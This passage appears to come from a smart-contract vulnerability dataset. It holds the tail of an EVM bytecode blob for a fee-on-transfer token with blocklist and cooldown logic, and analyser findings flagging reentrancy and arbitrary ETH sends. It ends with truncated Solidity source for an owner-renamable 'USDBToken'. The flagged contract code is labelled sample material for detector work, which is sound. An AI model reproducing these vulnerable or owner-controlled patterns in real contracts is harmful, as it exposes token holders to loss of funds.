86803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209787e33e4c7a83f9a9038d9c31730ba064cb8a27e88a93a5c0460adf54ce708d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,454 |
0xeddcbfebb20935b1fa1d432368c0110755c51334
|
pragma solidity ^ 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract USDBToken is PausableToken,BurnableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(uint _initialSupply, string _tokenname, string _tokensymbol, uint8 _tokendecimals) public {
totalSupply_ = _initialSupply;
name = _tokenname;
symbol = _tokensymbol;
decimals = _tokendecimals;
balances[msg.sender] = totalSupply_;
}
function changeTokenName(string _tokenname, string _tokensymbol) public onlyOwner
{
name = _tokenname;
symbol = _tokensymbol;
}
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
address public manager = address(0);
function changeManager(address newManager) public onlyOwner {
